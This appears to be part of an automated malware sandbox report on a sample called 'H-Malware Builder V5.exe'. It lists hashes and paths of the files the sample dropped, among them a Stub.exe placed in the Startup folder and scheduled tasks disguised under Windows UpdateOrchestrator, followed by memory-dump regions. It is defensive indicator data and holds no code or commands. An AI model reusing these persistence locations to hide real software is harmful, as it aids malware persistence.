                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe

                                                                                                                                    Filesize

                                                                                                                                    611KB

                                                                                                                                    MD5

                                                                                                                                    515c515dc79e543c37bbfa3726e4eedb

                                                                                                                                    SHA1

                                                                                                                                    26204367d2fb407d04696e0b824472ae37a7792f

                                                                                                                                    SHA256

                                                                                                                                    1ff13dcc9b8d8ff1117a56ea10fdbdc41702c69b0031ebc23ae3978f673c9d31

                                                                                                                                    SHA512

                                                                                                                                    6910bccfc9933a29ef7a11cb09acc89c13f81f23163a62e6ef6cfb01b8819184d052fcacec9ea1005dd3318f3385353d5813078f25076203bae45abd88b29d23

                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w2b3r2si.2a3.ps1

                                                                                                                                    Filesize

                                                                                                                                    60B

                                                                                                                                    MD5

                                                                                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                    SHA1

                                                                                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                    SHA256

                                                                                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                    SHA512

                                                                                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe

                                                                                                                                    Filesize

                                                                                                                                    290KB

                                                                                                                                    MD5

                                                                                                                                    cc63633edfcc147cbaed1959b03d8730

                                                                                                                                    SHA1

                                                                                                                                    df7a250eba6ee1767b09f7923bfd735635deb9e8

                                                                                                                                    SHA256

                                                                                                                                    e699d9e9a81e9de82ce7ed645ef2a92ed6231e32cbc18a7e9ddff5c82623d417

                                                                                                                                    SHA512

                                                                                                                                    a584893714d46c6bdf4cc0a097b5f088a9aa49eea07b181745ca9b351b570c8ac3487bfe53a8a97213f5d8a7f71dbf4070ff92eab58b2ff7a4d0e784e17d02d4

                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                                    SHA1

                                                                                                                                    98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                                    SHA256

                                                                                                                                    ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                                    SHA512

                                                                                                                                    c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    f313c5b4f95605026428425586317353

                                                                                                                                    SHA1

                                                                                                                                    06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                                    SHA256

                                                                                                                                    129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                                    SHA512

                                                                                                                                    b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                                    SHA1

                                                                                                                                    a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                                    SHA256

                                                                                                                                    98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                                    SHA512

                                                                                                                                    1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                                    SHA1

                                                                                                                                    63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                                    SHA256

                                                                                                                                    727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                                    SHA512

                                                                                                                                    f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                                    SHA1

                                                                                                                                    5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                                    SHA256

                                                                                                                                    55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                                    SHA512

                                                                                                                                    5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                                  • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    0b990e24f1e839462c0ac35fef1d119e

                                                                                                                                    SHA1

                                                                                                                                    9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                                    SHA256

                                                                                                                                    a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                                    SHA512

                                                                                                                                    c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                                  • memory/372-65-0x00007FFDE15B0000-0x00007FFDE15C0000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/372-64-0x000002363C600000-0x000002363C62A000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    168KB

                                                                                                                                  • memory/544-71-0x00000245534C0000-0x00000245534EA000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    168KB

                                                                                                                                  • memory/544-72-0x00007FFDE15B0000-0x00007FFDE15C0000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/628-54-0x00000287AB6B0000-0x00000287AB6D3000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    140KB

                                                                                                                                  • memory/628-55-0x00000287AB6E0000-0x00000287AB70A000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    168KB

                                                                                                                                  • memory/628-56-0x00007FFDE15B0000-0x00007FFDE15C0000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/636-392-0x000002177D040000-0x000002177D568000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    5.2MB

                                                                                                                                  • memory/696-60-0x00007FFDE15B0000-0x00007FFDE15C0000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/696-59-0x0000011054080000-0x00000110540AA000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    168KB

                                                                                                                                  • memory/748-375-0x000002079AF50000-0x000002079B112000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    1.8MB

                                                                                                                                  • memory/968-68-0x00007FFDE15B0000-0x00007FFDE15C0000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/968-67-0x00000238DA7C0000-0x00000238DA7EA000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    168KB

                                                                                                                                  • memory/1028-80-0x0000023307760000-0x000002330778A000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    168KB

                                                                                                                                  • memory/1028-81-0x00007FFDE15B0000-0x00007FFDE15C0000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/1068-83-0x00000287D0940000-0x00000287D096A000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    168KB

                                                                                                                                  • memory/1068-84-0x00007FFDE15B0000-0x00007FFDE15C0000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/1076-86-0x0000021D41E90000-0x0000021D41EBA000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    168KB

                                                                                                                                  • memory/1076-87-0x00007FFDE15B0000-0x00007FFDE15C0000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/1172-89-0x000001E31D8F0000-0x000001E31D91A000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    168KB

                                                                                                                                  • memory/1172-90-0x00007FFDE15B0000-0x00007FFDE15C0000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/1180-92-0x000001E083160000-0x000001E08318A000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    168KB

                                                                                                                                  • memory/1180-93-0x00007FFDE15B0000-0x00007FFDE15C0000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/1296-95-0x00000258F89B0000-0x00000258F89DA000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    168KB

                                                                                                                                  • memory/1296-96-0x00007FFDE15B0000-0x00007FFDE15C0000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/1316-100-0x00007FFDE15B0000-0x00007FFDE15C0000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/1316-99-0x0000026B24FA0000-0x0000026B24FCA000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    168KB

                                                                                                                                  • memory/2128-52-0x0000000140000000-0x0000000140040000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    256KB

                                                                                                                                  • memory/2128-48-0x0000000140000000-0x0000000140040000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    256KB

                                                                                                                                  • memory/2128-49-0x0000000140000000-0x0000000140040000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    256KB

                                                                                                                                  • memory/2128-50-0x00007FFE21530000-0x00007FFE21725000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    2.0MB

                                                                                                                                  • memory/2128-51-0x00007FFE20D50000-0x00007FFE20E0E000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    760KB

                                                                                                                                  • memory/3220-46-0x000001C9BBF30000-0x000001C9BBFCE000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    632KB

                                                                                                                                  • memory/3784-17-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    10.8MB

                                                                                                                                  • memory/3784-2-0x000001EB331A0000-0x000001EB331C2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    136KB

                                                                                                                                  • memory/3784-12-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    10.8MB

                                                                                                                                  • memory/3784-13-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    10.8MB

                                                                                                                                  • memory/3784-14-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    10.8MB

                                                                                                                                  • memory/4588-47-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    10.8MB

                                                                                                                                  • memory/4588-21-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    10.8MB

                                                                                                                                  • memory/4588-0-0x00007FFE02ED3000-0x00007FFE02ED5000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                  • memory/4588-1-0x00000000004A0000-0x000000000050C000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    432KB

                                                                                                                                  • memory/4836-42-0x000001ED1F420000-0x000001ED1F45E000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    248KB

                                                                                                                                  • memory/4836-45-0x00007FFE20D50000-0x00007FFE20E0E000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    760KB

                                                                                                                                  • memory/4836-340-0x000001ED21040000-0x000001ED21052000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    72KB

                                                                                                                                  • memory/4836-39-0x000001ED1F040000-0x000001ED1F08E000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    312KB

                                                                                                                                  • memory/4836-44-0x00007FFE21530000-0x00007FFE21725000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    2.0MB